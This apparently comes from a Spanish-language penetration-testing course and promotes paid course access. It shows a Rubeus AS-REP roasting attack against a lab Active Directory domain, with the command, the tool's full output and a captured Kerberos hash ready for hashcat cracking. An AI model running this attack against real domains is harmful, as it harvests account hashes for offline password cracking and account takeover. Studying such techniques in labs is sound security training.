Utilizando Rubeus

Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: https://wa.link/ej3kiu. ¡Te esperamos para empezar este viaje juntos!

El comando para explotar esta vulnerabilidad utilizando Rubeus.exe seria:

PS C:\Users\admin\Desktop> .\Rubeus.exe asreproast /user:asrep.user /format:hashcat /outfile:hashes.asreproast

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: AS-REP roasting

[*] Target User            : asrep.user
[*] Target Domain          : spartancybersec.corp

[*] Searching path 'LDAP://First-DC.spartancybersec.corp/DC=spartancybersec,DC=corp' for '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName=asrep.user))'
[*] SamAccountName         : asrep.user
[*] DistinguishedName      : CN=asrep.user,CN=Users,DC=spartancybersec,DC=corp
[*] Using domain controller: First-DC.spartancybersec.corp (10.0.1.100)
[*] Building AS-REQ (w/o preauth) for: 'spartancybersec.corp\asrep.user'
[+] AS-REQ w/o preauth successful!
[*] Hash written to C:\Users\admin\Desktop\hashes.asreproast

[*] Roasted hashes written to : C:\Users\admin\Desktop\hashes.asreproast
PS C:\Users\admin\Desktop> type .\hashes.asreproast
[email protected]:0939461A3CF12B34FC2EEDE8C8154E15$55613643FA62AB315871CFD9B90978AB2D34E6F5A5AE07DF827052F7F1F8D81B5DD83B9A6EB237352E08324CCAB0B4C791ADBFF0C7FC0F20011B07F35A56FBE30416C9DB7842410EDF0A7BDC6DFAD646A58197A678256C897D8F1F75B1650978C2E11BCE9630A63A725B2CA24F16F2C2367A915003493E6E76CA0B4173179AB4CAEF4AA201D9594057A9EDDAEF281EE4413E4861DCD187D503DFC860BB07B3A18E6D97B38ABDAAAA5F578A5CCC2B5A25969EFF8943F03C5D6A0E092CBD161D62765CF8E5E7303AAB67AD641A74CF8914722C3352045EDEDD15742C69792CCCD6F3EE74316D9BDE486829C06003A5701C3A52E7742897B286BAF6AEAE